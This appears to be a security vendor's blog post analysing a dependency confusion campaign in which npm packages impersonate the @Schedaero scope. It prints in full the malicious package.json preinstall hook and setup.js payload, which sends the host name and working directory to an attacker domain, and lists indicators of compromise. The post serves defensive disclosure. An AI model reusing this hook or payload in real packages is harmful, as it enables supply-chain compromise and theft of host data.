Table of Contents
TL;DR
Our malicious package scanning infrastructure recently flagged a cluster of malicious npm packages executing a classic Dependency Confusion attack. The packages impersonate internal scopes of Schedaero, a leading charter sales and flight operations management system.
The attacker, acting under the npm handle noboots11, published multiple identical packages. These packages contain a malicious preinstall script that executes immediately upon installation, gathering system information and exfiltrating it via a customized User-Agent string to a suspicious endpoint, then exiting successfully so the npm installation continues.
The Target: Schedaero
Schedaero is a legitimate, widely used cloud-based software system for business aviation operations, owned by the Avinode Group. By targeting the @Schedaero npm scope, the attacker is explicitly attempting to compromise developers or CI environments affiliated with Schedaero, or customers integrating with their platforms.
In a Dependency Confusion attack, threat actors upload packages to the public npm registry with the same names as internal, private packages used by a target organization. If the organization’s package manager is misconfigured, it may pull the malicious public version instead of the safe private one, usually by prioritizing the higher version number.
The Malicious Campaign

The threat actor published several packages under the @Schedaero scope. All packages share the exact same version (99440.540.1)—an artificially inflated version number meant to guarantee it overrides any internal versions—and the identical payload.
The flagged packages include:
@Schedaero/shared@Schedaero/net-common@Schedaero/bacon@Schedaero/yukon@Schedaero/react-core
So far, we have observed more than 500 downloads across these 5 packages. This suggests that misconfigured systems or automated build pipelines had already begun pulling the malicious code.
Despite impersonating aviation operations software, the packages use a generic, auto-generated description: “A comprehensive arithmetic toolkit with helper methods and extensive documentation.”
Analyzing the Attack Vector
The infection vector relies on the preinstall hook in package.json. This lifecycle script allows arbitrary code execution before the package is successfully installed.
Here is the malicious package.json for @Schedaero/shared:
{ "name": "@Schedaero/shared", "version": "99440.540.1", "description": "A comprehensive arithmetic toolkit with helper methods and extensive documentation.", "main": "src/index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node scripts/setup.js" }, "keywords": ["arithmetic", "math", "helpers", "documentation"], "author": "Arithmetic Inc.", "license": "MIT", "dependencies": { "@Schedaero/shared": "^99439.540.1" }}Notice the preinstall: "node scripts/setup.js" directive. As soon as npm install @Schedaero/shared is invoked, setup.js executes.
Payload Analysis: setup.js
The execution of setup.js reveals a lightweight reconnaissance and data exfiltration payload.
const https = require('https');const os = require('os');
/** * @file This script is executed before the package is installed. * Performs license checks if necessary. */
const LICENSE_URL = 'https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/';const hostname = os.hostname();const c = process.cwd();
console.log('Sending installation callback...');
const options = { hostname: new URL(LICENSE_URL).hostname, path: new URL(LICENSE_URL).pathname, method: 'GET', headers: { 'User-Agent': `Node.js/${process.version} (${hostname}) [${c}]`, },};
const req = https.request(options, (res) => { console.log(`License callback request sent. Status Code: ${res.statusCode}`);});
req.setTimeout(2000, () => { console.error('Callback request timed out. Aborting.'); req.destroy();});
req.on('error', (err) => { console.error('Error sending callback:', err.message);});
req.on('close', () => { console.log('Callback request finished.'); process.exit(0);});
console.log('End');req.end();The Domain https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ is identified as malicious by multiple vendors.

Breaking Down the Payload
- Deceptive Comments: The script pretends to perform a “license check”, a common social engineering tactic to deflect suspicion if a developer inspects the code.
- Reconnaissance: It gathers two critical pieces of environmental context: the machine’s
hostnameand the current working directory (process.cwd()). This tells the attacker who executed the code and where it ran (e.g., inside a specific project folder like/opt/buildagents/work/schedaero-api). - Exfiltration via HTTP Headers: The gathered data is stealthily packed into the
User-AgentHTTP header, completely bypassing basic network inspection tools that only check URL parameters or request bodies.- Example exfiltrated header:
User-Agent: Node.js/v20.11.0 (dev-macbook-pro) [/Users/dev/projects/Schedaero/internal-app]
- Example exfiltrated header:
- Forced Process Exit: In the
closehandler, the script executesprocess.exit(0);. This unconditionally halts the Node.js process with a “success” code. This abrupt termination stops the actual npm installation process from continuing. The likely goal is to prevent throwing a visible installation error down the line while successfully completing the DNS/HTTP callback to the attacker’s infrastructure.
Indicators of Compromise (IOCs)
| Indicator Type | Value |
|---|---|
| Malicious URL | https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ |
| Domain | gjq.io |
| npm Author | noboots11 |
| Suspect Scope | @Schedaero/* |
Conclusion
This campaign represents a textbook Dependency Confusion attack characterized by an artificially inflated version number, targeted scope impersonation, and immediate pre-install execution. The exfiltration of the hostname and current working directory allows the threat actor to verify if they have successfully breached an employee’s workstation or a corporate build server, providing a foothold for further targeted compromise.
Defending against dependency confusion requires strict control over package resolution. Organizations should enforce scope-to-registry mapping (ensuring @internal-scopes only resolve to private registries) and utilize tools that scan for anomalous package behaviors, such as unexpected preinstall lifecycle execution and external network calls, before the code ever reaches the developer machine.
- npm
- oss
- malware
- supply-chain
- security
- dependency-confusion
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

npm SANDWORM_MODE Attack: Step-by-Step Malware Analysis
Step-by-step technical analysis of the SANDWORM_MODE npm supply chain attack. We dissect yarsg and format-defaults malicious packages, decode multi-layer obfuscation, and trace the payload delivery...

Why We Built a Hosted MCP Server to Stop Malicious Packages for AI Agents
Exposing an MCP server is trivial. Making it useful for AI agents is not. Here's what we learned dogfooding our own tool, and why we built a hosted MCP server backed by real-time open source threat...

AI Agent Cline v2.3.0 Compromised: From Prompt Injection to Unauthorized npm Publish
A compromised npm token was used to publish a tampered version of Cline CLI. A prompt injection vulnerability in Cline's AI-powered GitHub Actions workflow may have enabled the credential theft.

End-to-End test with Nextjs, Playwright and MSW
A practical Next.js 16 App Router E2E setup with Playwright and MSW that keeps server-side fetch deterministic by focusing mocking where it matters, not on server actions.

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
